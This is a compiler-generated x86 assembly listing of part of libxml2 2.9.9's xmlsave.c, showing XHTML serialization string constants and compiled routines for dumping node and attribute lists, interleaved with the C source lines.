; COMDAT ??_C@_0CG@NOKOIAPK@?5xmlns?$DN?$CChttp?3?1?1www?4w3?4org?11999?1@
CONST SEGMENT
??_C@_0CG@NOKOIAPK@?5xmlns?$DN?$CChttp?3?1?1www?4w3?4org?11999?1@ DB ' xm'
DB 'lns="http://www.w3.org/1999/xhtml"', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04PNIFHPHN@html@
CONST SEGMENT
??_C@_04PNIFHPHN@html@ DB 'html', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07OHOHIONL@?5lang?$DN?$CC@
CONST SEGMENT
??_C@_07OHOHIONL@?5lang?$DN?$CC@ DB ' lang="', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0M@NGPFCPAA@?5xml?3lang?$DN?$CC@
CONST SEGMENT
??_C@_0M@NGPFCPAA@?5xml?3lang?$DN?$CC@ DB ' xml:lang="', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05OCPGBOOB@?5id?$DN?$CC@
CONST SEGMENT
??_C@_05OCPGBOOB@?5id?$DN?$CC@ DB ' id="', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_06PKBNCBKI@iframe@
CONST SEGMENT
??_C@_06PKBNCBKI@iframe@ DB 'iframe', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04MLMMMEIO@form@
CONST SEGMENT
??_C@_04MLMMMEIO@form@ DB 'form', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_06MJBNHHFM@applet@
CONST SEGMENT
??_C@_06MJBNHHFM@applet@ DB 'applet', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03HBNNNHNM@map@
CONST SEGMENT
??_C@_03HBNNNHNM@map@ DB 'map', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03FEJMGOGI@div@
CONST SEGMENT
??_C@_03FEJMGOGI@div@ DB 'div', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01JBBJJEPG@p@
CONST SEGMENT
??_C@_01JBBJJEPG@p@ DB 'p', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01MCMALHOG@a@
CONST SEGMENT
??_C@_01MCMALHOG@a@ DB 'a', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04IOHABJIC@lang@
CONST SEGMENT
??_C@_04IOHABJIC@lang@ DB 'lang', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04MEMAJGDJ@name@
CONST SEGMENT
??_C@_04MEMAJGDJ@name@ DB 'name', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02EGCJHIOB@id@
CONST SEGMENT
??_C@_02EGCJHIOB@id@ DB 'id', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05LJDNNBIK@param@
CONST SEGMENT
??_C@_05LJDNNBIK@param@ DB 'param', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04HLJJCGEF@meta@
CONST SEGMENT
??_C@_04HLJJCGEF@meta@ DB 'meta', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04OHHBHOGB@link@
CONST SEGMENT
??_C@_04OHHBHOGB@link@ DB 'link', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_07JMLOFMGP@isindex@
CONST SEGMENT
??_C@_07JMLOFMGP@isindex@ DB 'isindex', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05DFJCHPDH@input@
CONST SEGMENT
??_C@_05DFJCHPDH@input@ DB 'input', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03PCCGDNHJ@img@
CONST SEGMENT
??_C@_03PCCGDNHJ@img@ DB 'img', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02FLHDKHAB@hr@
CONST SEGMENT
??_C@_02FLHDKHAB@hr@ DB 'hr', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05MIJNFGED@frame@
CONST SEGMENT
??_C@_05MIJNFGED@frame@ DB 'frame', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03HNOLNALI@col@
CONST SEGMENT
??_C@_03HNOLNALI@col@ DB 'col', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08IOLGIJGJ@basefont@
CONST SEGMENT
??_C@_08IOLGIJGJ@basefont@ DB 'basefont', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04BHIIPFEC@base@
CONST SEGMENT
??_C@_04BHIIPFEC@base@ DB 'base', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02FGOECCNH@br@
CONST SEGMENT
??_C@_02FGOECCNH@br@ DB 'br', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04GOEDGNCF@area@
CONST SEGMENT
??_C@_04GOEDGNCF@area@ DB 'area', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BN@BMFLMPPL@http?3?1?1www?4w3?4org?11999?1xhtml@
CONST SEGMENT
??_C@_0BN@BMFLMPPL@http?3?1?1www?4w3?4org?11999?1xhtml@ DB 'http://www.w3'
DB '.org/1999/xhtml', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03KCOJOIAE@?$DP?$DO?6@
CONST SEGMENT
??_C@_03KCOJOIAE@?$DP?$DO?6@ DB '?>', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BC@MEICOMAE@?5standalone?$DN?$CCyes?$CC@
CONST SEGMENT
??_C@_0BC@MEICOMAE@?5standalone?$DN?$CCyes?$CC@ DB ' standalone="yes"', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BB@FFDPHLPI@?5standalone?$DN?$CCno?$CC@
CONST SEGMENT
??_C@_0BB@FFDPHLPI@?5standalone?$DN?$CCno?$CC@ DB ' standalone="no"', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0L@GJNPICMJ@?5encoding?$DN@
CONST SEGMENT
??_C@_0L@GJNPICMJ@?5encoding?$DN@ DB ' encoding=', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05FLCMBAOK@?$CC1?40?$CC@
CONST SEGMENT
??_C@_05FLCMBAOK@?$CC1?40?$CC@ DB '"1.0"', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0P@CNJADHFP@?$DM?$DPxml?5version?$DN@
CONST SEGMENT
??_C@_0P@CNJADHFP@?$DM?$DPxml?5version?$DN@ DB '<?xml version=', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02DPNDACHE@?$DM?1@
CONST SEGMENT
??_C@_02DPNDACHE@?$DM?1@ DB '</', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02HCGKDMEN@?1?$DO@
CONST SEGMENT
??_C@_02HCGKDMEN@?1?$DO@ DB '/>', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01MNNFJEPP@?$DM@
CONST SEGMENT
??_C@_01MNNFJEPP@?$DM@ DB '<', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03MCHNFBAC@?$FN?$FN?$DO@
CONST SEGMENT
??_C@_03MCHNFBAC@?$FN?$FN?$DO@ DB ']]>', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@
CONST SEGMENT
??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@ DB '<![CDATA[', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0N@OGBMJHND@?$DM?$CB?$FLCDATA?$FL?$FN?$FN?$DO@
CONST SEGMENT
??_C@_0N@OGBMJHND@?$DM?$CB?$FLCDATA?$FL?$FN?$FN?$DO@ DB '<![CDATA[]]>', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03PNLDJJMO@?9?9?$DO@
CONST SEGMENT
??_C@_03PNLDJJMO@?9?9?$DO@ DB '-->', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04FFDNBKGC@?$DM?$CB?9?9@
CONST SEGMENT
??_C@_04FFDNBKGC@?$DM?$CB?9?9@ DB '<!--', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02GOEMJPDN@?$DP?$DO@
CONST SEGMENT
??_C@_02GOEMJPDN@?$DP?$DO@ DB '?>', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02HFBBBACF@?$DM?$DP@
CONST SEGMENT
??_C@_02HFBBBACF@?$DM?$DP@ DB '<?', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_04DBLPJNAF@HTML@
CONST SEGMENT
??_C@_04DBLPJNAF@HTML@ DB 'HTML', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01BJJEKLCA@?$CC@
CONST SEGMENT
??_C@_01BJJEKLCA@?$CC@ DB '"', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02ILLPBGAO@?$DN?$CC@
CONST SEGMENT
??_C@_02ILLPBGAO@?$DN?$CC@ DB '="', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01JLIPDDHJ@?3@
CONST SEGMENT
??_C@_01JLIPDDHJ@?3@ DB ':', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_02CFBPIAHD@?$FN?$DO@
CONST SEGMENT
??_C@_02CFBPIAHD@?$FN?$DO@ DB ']>', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03OEIPKGAG@?5?$FL?6@
CONST SEGMENT
??_C@_03OEIPKGAG@?5?$FL?6@ DB ' [', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01PPODPGHN@?$DO@
CONST SEGMENT
??_C@_01PPODPGHN@?$DO@ DB '>', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08PAGGLANP@?5SYSTEM?5@
CONST SEGMENT
??_C@_08PAGGLANP@?5SYSTEM?5@ DB ' SYSTEM ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_08GBBLECIH@?5PUBLIC?5@
CONST SEGMENT
??_C@_08GBBLECIH@?5PUBLIC?5@ DB ' PUBLIC ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@
CONST SEGMENT
??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@ DB '<!DOCTYPE ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01NEMOKFLO@?$DN@
CONST SEGMENT
??_C@_01NEMOKFLO@?$DN@ DB '=', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_05PPEFOGKI@xmlns@
CONST SEGMENT
??_C@_05PPEFOGKI@xmlns@ DB 'xmlns', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_06PNFLLAEF@xmlns?3@
CONST SEGMENT
??_C@_06PNFLLAEF@xmlns?3@ DB 'xmlns:', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01CLKCMJKC@?5@
CONST SEGMENT
??_C@_01CLKCMJKC@?5@ DB ' ', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_03PJHHNEEI@xml@
CONST SEGMENT
??_C@_03PJHHNEEI@xml@ DB 'xml', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01EEMJAFIK@?6@
CONST SEGMENT
??_C@_01EEMJAFIK@?6@ DB 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BJ@ICFHKFLM@creating?5encoding?5buffer@
CONST SEGMENT
??_C@_0BJ@ICFHKFLM@creating?5encoding?5buffer@ DB 'creating encoding buff'
DB 'er', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01ICJEACDI@?$DL@
CONST SEGMENT
??_C@_01ICJEACDI@?$DL@ DB ';', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01HNPIGOCE@?$CG@
CONST SEGMENT
??_C@_01HNPIGOCE@?$CG@ DB '&', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BI@FGAKHCKD@creating?5saving?5context@
CONST SEGMENT
??_C@_0BI@FGAKHCKD@creating?5saving?5context@ DB 'creating saving context'
DB 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CH@EAFIMPAL@xmlEscapeEntities?5?3?5char?5out?5of@
CONST SEGMENT
??_C@_0CH@EAFIMPAL@xmlEscapeEntities?5?3?5char?5out?5of@ DB 'xmlEscapeEnt'
DB 'ities : char out of range', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BJ@IPOHNFHE@unexpected?5error?5number?6@
CONST SEGMENT
??_C@_0BJ@IPOHNFHE@unexpected?5error?5number?6@ DB 'unexpected error numb'
DB 'er', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BJ@OKGKFHLI@document?5has?5no?5DOCTYPE?6@
CONST SEGMENT
??_C@_0BJ@OKGKFHLI@document?5has?5no?5DOCTYPE?6@ DB 'document has no DOCT'
DB 'YPE', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BF@CGOGPJKI@unknown?5encoding?5?$CFs?6@
CONST SEGMENT
??_C@_0BF@CGOGPJKI@unknown?5encoding?5?$CFs?6@ DB 'unknown encoding %s', 0aH
DB 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BJ@HMEJBBPL@invalid?5character?5value?6@
CONST SEGMENT
??_C@_0BJ@HMEJBBPL@invalid?5character?5value?6@ DB 'invalid character val'
DB 'ue', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0BI@KDLJAAPA@string?5is?5not?5in?5UTF?98?6@
CONST SEGMENT
??_C@_0BI@KDLJAAPA@string?5is?5not?5in?5UTF?98?6@ DB 'string is not in UT'
DB 'F-8', 0aH, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DI@KKENBPON@http?3?1?1www?4w3?4org?1TR?1xhtml1?1DTD@
CONST SEGMENT
??_C@_0DI@KKENBPON@http?3?1?1www?4w3?4org?1TR?1xhtml1?1DTD@ DB 'http://ww'
DB 'w.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DE@CCGEPDJH@http?3?1?1www?4w3?4org?1TR?1xhtml1?1DTD@
CONST SEGMENT
??_C@_0DE@CCGEPDJH@http?3?1?1www?4w3?4org?1TR?1xhtml1?1DTD@ DB 'http://ww'
DB 'w.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0DC@BHABDBDI@http?3?1?1www?4w3?4org?1TR?1xhtml1?1DTD@
CONST SEGMENT
??_C@_0DC@BHABDBDI@http?3?1?1www?4w3?4org?1TR?1xhtml1?1DTD@ DB 'http://ww'
DB 'w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CH@FHDGMIJF@?9?1?1W3C?1?1DTD?5XHTML?51?40?5Transitio@
CONST SEGMENT
??_C@_0CH@FHDGMIJF@?9?1?1W3C?1?1DTD?5XHTML?51?40?5Transitio@ DB '-//W3C//'
DB 'DTD XHTML 1.0 Transitional//EN', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CD@EONGLKJJ@?9?1?1W3C?1?1DTD?5XHTML?51?40?5Frameset?1@
CONST SEGMENT
??_C@_0CD@EONGLKJJ@?9?1?1W3C?1?1DTD?5XHTML?51?40?5Frameset?1@ DB '-//W3C/'
DB '/DTD XHTML 1.0 Frameset//EN', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_0CB@LIHKBLCO@?9?1?1W3C?1?1DTD?5XHTML?51?40?5Strict?1?1E@
CONST SEGMENT
??_C@_0CB@LIHKBLCO@?9?1?1W3C?1?1DTD?5XHTML?51?40?5Strict?1?1E@ DB '-//W3C'
DB '//DTD XHTML 1.0 Strict//EN', 00H ; `string'
CONST ENDS
; Function compile flags: /Odt
; COMDAT __JustMyCode_Default
_TEXT SEGMENT
__JustMyCode_Default PROC ; COMDAT
push ebp
mov ebp, esp
pop ebp
ret 0
__JustMyCode_Default ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xhtmlNodeListDumpOutput
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_xhtmlNodeListDumpOutput PROC ; COMDAT
; 1417 : xhtmlNodeListDumpOutput(xmlSaveCtxtPtr ctxt, xmlNodePtr cur) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _cur$[ebp]
test esi, esi
je SHORT $LN3@xhtmlNodeL
; 1418 : xmlOutputBufferPtr buf;
; 1419 :
; 1420 : if (cur == NULL) return;
; 1421 : buf = ctxt->buf;
push ebx
push edi
mov edi, DWORD PTR _ctxt$[ebp]
mov ebx, DWORD PTR [edi+24]
npad 3
$LL2@xhtmlNodeL:
; 1422 : while (cur != NULL) {
; 1423 : if ((ctxt->format == 1) && (xmlIndentTreeOutput) &&
cmp DWORD PTR [edi+40], 1
jne SHORT $LN5@xhtmlNodeL
call ___xmlIndentTreeOutput
cmp DWORD PTR [eax], 0
je SHORT $LN5@xhtmlNodeL
cmp DWORD PTR [esi+4], 1
jne SHORT $LN5@xhtmlNodeL
; 1424 : (cur->type == XML_ELEMENT_NODE))
; 1425 : xmlOutputBufferWrite(buf, ctxt->indent_size *
mov edx, DWORD PTR [edi+108]
lea eax, DWORD PTR [edi+44]
cmp DWORD PTR [edi+36], edx
push eax
cmovle edx, DWORD PTR [edi+36]
imul edx, DWORD PTR [edi+112]
push edx
push ebx
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN5@xhtmlNodeL:
; 1426 : (ctxt->level > ctxt->indent_nr ?
; 1427 : ctxt->indent_nr : ctxt->level),
; 1428 : ctxt->indent);
; 1429 : xhtmlNodeDumpOutput(ctxt, cur);
push esi
push edi
call _xhtmlNodeDumpOutput
add esp, 8
; 1430 : if (ctxt->format == 1) {
cmp DWORD PTR [edi+40], 1
jne SHORT $LN6@xhtmlNodeL
; 1431 : xmlOutputBufferWrite(buf, 1, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push 1
push ebx
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN6@xhtmlNodeL:
; 1432 : }
; 1433 : cur = cur->next;
mov esi, DWORD PTR [esi+24]
test esi, esi
jne SHORT $LL2@xhtmlNodeL
pop edi
pop ebx
$LN3@xhtmlNodeL:
pop esi
; 1434 : }
; 1435 : }
pop ebp
ret 0
_xhtmlNodeListDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xhtmlAttrListDumpOutput
_TEXT SEGMENT
_parent$1$ = -20 ; size = 4
_lang$1$ = -16 ; size = 4
_name$1$ = -12 ; size = 4
_id$1$ = -8 ; size = 4
_xml_lang$1$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_buf$1$ = 12 ; size = 4
_cur$ = 12 ; size = 4
_xhtmlAttrListDumpOutput PROC ; COMDAT
; 1331 : xhtmlAttrListDumpOutput(xmlSaveCtxtPtr ctxt, xmlAttrPtr cur) {
push ebp
mov ebp, esp
sub esp, 20 ; 00000014H
push ebx
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
xor esi, esi
xor ebx, ebx
mov DWORD PTR _xml_lang$1$[ebp], esi
xor eax, eax
mov esi, DWORD PTR _cur$[ebp]
mov DWORD PTR _lang$1$[ebp], ebx
mov DWORD PTR _id$1$[ebp], eax
test esi, esi
je $LN22@xhtmlAttrL
; 1332 : xmlAttrPtr xml_lang = NULL;
; 1333 : xmlAttrPtr lang = NULL;
; 1334 : xmlAttrPtr name = NULL;
; 1335 : xmlAttrPtr id = NULL;
; 1336 : xmlNodePtr parent;
; 1337 : xmlOutputBufferPtr buf;
; 1338 :
; 1339 : if (cur == NULL) return;
; 1340 : buf = ctxt->buf;
mov ebx, DWORD PTR [esi+20]
push edi
mov edi, DWORD PTR _ctxt$[ebp]
; 1341 : parent = cur->parent;
mov DWORD PTR _parent$1$[ebp], ebx
mov ebx, DWORD PTR _ctxt$[ebp]
mov edi, DWORD PTR [edi+24]
mov DWORD PTR _buf$1$[ebp], edi
xor edi, edi
$LL2@xhtmlAttrL:
; 1342 : while (cur != NULL) {
; 1343 : if ((cur->ns == NULL) && (xmlStrEqual(cur->name, BAD_CAST "id")))
cmp DWORD PTR [esi+36], 0
jne SHORT $LN40@xhtmlAttrL
push OFFSET ??_C@_02EGCJHIOB@id@
push DWORD PTR [esi+8]
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN33@xhtmlAttrL
; 1344 : id = cur;
mov DWORD PTR _id$1$[ebp], esi
jmp $LN16@xhtmlAttrL
$LN33@xhtmlAttrL:
; 1345 : else
; 1346 : if ((cur->ns == NULL) && (xmlStrEqual(cur->name, BAD_CAST "name")))
cmp DWORD PTR [esi+36], 0
jne SHORT $LN40@xhtmlAttrL
push OFFSET ??_C@_04MEMAJGDJ@name@
push DWORD PTR [esi+8]
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN34@xhtmlAttrL
; 1347 : name = cur;
mov edi, esi
jmp $LN16@xhtmlAttrL
$LN34@xhtmlAttrL:
; 1348 : else
; 1349 : if ((cur->ns == NULL) && (xmlStrEqual(cur->name, BAD_CAST "lang")))
cmp DWORD PTR [esi+36], 0
jne SHORT $LN40@xhtmlAttrL
push OFFSET ??_C@_04IOHABJIC@lang@
push DWORD PTR [esi+8]
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN35@xhtmlAttrL
; 1350 : lang = cur;
mov DWORD PTR _lang$1$[ebp], esi
jmp $LN16@xhtmlAttrL
$LN35@xhtmlAttrL:
; 1351 : else
; 1352 : if ((cur->ns != NULL) && (xmlStrEqual(cur->name, BAD_CAST "lang")) &&
cmp DWORD PTR [esi+36], 0
je SHORT $LN42@xhtmlAttrL
$LN40@xhtmlAttrL:
push OFFSET ??_C@_04IOHABJIC@lang@
push DWORD PTR [esi+8]
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN11@xhtmlAttrL
mov eax, DWORD PTR [esi+36]
push OFFSET ??_C@_03PJHHNEEI@xml@
push DWORD PTR [eax+12]
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN11@xhtmlAttrL
; 1353 : (xmlStrEqual(cur->ns->prefix, BAD_CAST "xml")))
; 1354 : xml_lang = cur;
mov DWORD PTR _xml_lang$1$[ebp], esi
jmp SHORT $LN16@xhtmlAttrL
$LN11@xhtmlAttrL:
; 1355 : else if ((cur->ns == NULL) &&
; 1356 : ((cur->children == NULL) ||
; 1357 : (cur->children->content == NULL) ||
; 1358 : (cur->children->content[0] == 0)) &&
cmp DWORD PTR [esi+36], 0
jne SHORT $LN16@xhtmlAttrL
$LN42@xhtmlAttrL:
mov eax, DWORD PTR [esi+12]
test eax, eax
je SHORT $LN14@xhtmlAttrL
mov eax, DWORD PTR [eax+40]
test eax, eax
je SHORT $LN14@xhtmlAttrL
cmp BYTE PTR [eax], 0
jne SHORT $LN16@xhtmlAttrL
$LN14@xhtmlAttrL:
push DWORD PTR [esi+8]
call _htmlIsBooleanAttr
add esp, 4
test eax, eax
je SHORT $LN16@xhtmlAttrL
; 1359 : (htmlIsBooleanAttr(cur->name))) {
; 1360 : if (cur->children != NULL)
mov eax, DWORD PTR [esi+12]
test eax, eax
je SHORT $LN15@xhtmlAttrL
; 1361 : xmlFreeNode(cur->children);
push eax
call _xmlFreeNode
add esp, 4
$LN15@xhtmlAttrL:
; 1362 : cur->children = xmlNewText(cur->name);
push DWORD PTR [esi+8]
call _xmlNewText
add esp, 4
mov DWORD PTR [esi+12], eax
; 1363 : if (cur->children != NULL)
test eax, eax
je SHORT $LN16@xhtmlAttrL
; 1364 : cur->children->parent = (xmlNodePtr) cur;
mov DWORD PTR [eax+20], esi
$LN16@xhtmlAttrL:
; 1365 : }
; 1366 : xmlAttrDumpOutput(ctxt, cur);
push esi
push ebx
call _xmlAttrDumpOutput
; 1367 : cur = cur->next;
mov esi, DWORD PTR [esi+24]
add esp, 8
test esi, esi
jne $LL2@xhtmlAttrL
; 1368 : }
; 1369 : /*
; 1370 : * C.8
; 1371 : */
; 1372 : if ((name != NULL) && (id == NULL)) {
mov ebx, DWORD PTR _parent$1$[ebp]
test edi, edi
mov DWORD PTR _name$1$[ebp], edi
mov edi, DWORD PTR _buf$1$[ebp]
je $LN18@xhtmlAttrL
cmp DWORD PTR _id$1$[ebp], esi
jne $LN18@xhtmlAttrL
; 1373 : if ((parent != NULL) && (parent->name != NULL) &&
test ebx, ebx
je $LN18@xhtmlAttrL
mov eax, DWORD PTR [ebx+8]
test eax, eax
je $LN18@xhtmlAttrL
push OFFSET ??_C@_01MCMALHOG@a@
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
jne $LN19@xhtmlAttrL
push OFFSET ??_C@_01JBBJJEPG@p@
push DWORD PTR [ebx+8]
call _xmlStrEqual
add esp, 8
test eax, eax
jne $LN19@xhtmlAttrL
push OFFSET ??_C@_03FEJMGOGI@div@
push DWORD PTR [ebx+8]
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN19@xhtmlAttrL
push OFFSET ??_C@_03PCCGDNHJ@img@
push DWORD PTR [ebx+8]
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN19@xhtmlAttrL
push OFFSET ??_C@_03HBNNNHNM@map@
push DWORD PTR [ebx+8]
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN19@xhtmlAttrL
push OFFSET ??_C@_06MJBNHHFM@applet@
push DWORD PTR [ebx+8]
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN19@xhtmlAttrL
push OFFSET ??_C@_04MLMMMEIO@form@
push DWORD PTR [ebx+8]
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN19@xhtmlAttrL
push OFFSET ??_C@_05MIJNFGED@frame@
push DWORD PTR [ebx+8]
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN19@xhtmlAttrL
push OFFSET ??_C@_06PKBNCBKI@iframe@
push DWORD PTR [ebx+8]
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN18@xhtmlAttrL
$LN19@xhtmlAttrL:
; 1374 : ((xmlStrEqual(parent->name, BAD_CAST "a")) ||
; 1375 : (xmlStrEqual(parent->name, BAD_CAST "p")) ||
; 1376 : (xmlStrEqual(parent->name, BAD_CAST "div")) ||
; 1377 : (xmlStrEqual(parent->name, BAD_CAST "img")) ||
; 1378 : (xmlStrEqual(parent->name, BAD_CAST "map")) ||
; 1379 : (xmlStrEqual(parent->name, BAD_CAST "applet")) ||
; 1380 : (xmlStrEqual(parent->name, BAD_CAST "form")) ||
; 1381 : (xmlStrEqual(parent->name, BAD_CAST "frame")) ||
; 1382 : (xmlStrEqual(parent->name, BAD_CAST "iframe")))) {
; 1383 : xmlOutputBufferWrite(buf, 5, " id=\"");
push OFFSET ??_C@_05OCPGBOOB@?5id?$DN?$CC@
push 5
push edi
call _xmlOutputBufferWrite
; 1384 : xmlAttrSerializeContent(buf, name);
mov eax, DWORD PTR _name$1$[ebp]
push eax
push edi
call _xmlAttrSerializeContent
; 1385 : xmlOutputBufferWrite(buf, 1, "\"");
push OFFSET ??_C@_01BJJEKLCA@?$CC@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 32 ; 00000020H
$LN18@xhtmlAttrL:
; 1386 : }
; 1387 : }
; 1388 : /*
; 1389 : * C.7.
; 1390 : */
; 1391 : if ((lang != NULL) && (xml_lang == NULL)) {
mov ebx, DWORD PTR _lang$1$[ebp]
test ebx, ebx
je SHORT $LN20@xhtmlAttrL
cmp DWORD PTR _xml_lang$1$[ebp], 0
jne SHORT $LN36@xhtmlAttrL
; 1392 : xmlOutputBufferWrite(buf, 11, " xml:lang=\"");
push OFFSET ??_C@_0M@NGPFCPAA@?5xml?3lang?$DN?$CC@
push 11 ; 0000000bH
push edi
call _xmlOutputBufferWrite
; 1393 : xmlAttrSerializeContent(buf, lang);
push ebx
; 1394 : xmlOutputBufferWrite(buf, 1, "\"");
; 1395 : } else
jmp SHORT $LN43@xhtmlAttrL
$LN20@xhtmlAttrL:
; 1396 : if ((xml_lang != NULL) && (lang == NULL)) {
mov esi, DWORD PTR _xml_lang$1$[ebp]
test esi, esi
je SHORT $LN36@xhtmlAttrL
; 1397 : xmlOutputBufferWrite(buf, 7, " lang=\"");
push OFFSET ??_C@_07OHOHIONL@?5lang?$DN?$CC@
push 7
push edi
call _xmlOutputBufferWrite
; 1398 : xmlAttrSerializeContent(buf, xml_lang);
push esi
$LN43@xhtmlAttrL:
push edi
call _xmlAttrSerializeContent
; 1399 : xmlOutputBufferWrite(buf, 1, "\"");
push OFFSET ??_C@_01BJJEKLCA@?$CC@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 32 ; 00000020H
$LN36@xhtmlAttrL:
pop edi
$LN22@xhtmlAttrL:
pop esi
; 1400 : }
; 1401 : }
pop ebx
mov esp, ebp
pop ebp
ret 0
_xhtmlAttrListDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xhtmlIsEmpty
_TEXT SEGMENT
_node$ = 8 ; size = 4
_xhtmlIsEmpty PROC ; COMDAT
; 1266 : xhtmlIsEmpty(xmlNodePtr node) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _node$[ebp]
test esi, esi
jne SHORT $LN4@xhtmlIsEmp
; 1267 : if (node == NULL)
; 1268 : return(-1);
or eax, -1
pop esi
; 1322 : }
pop ebp
ret 0
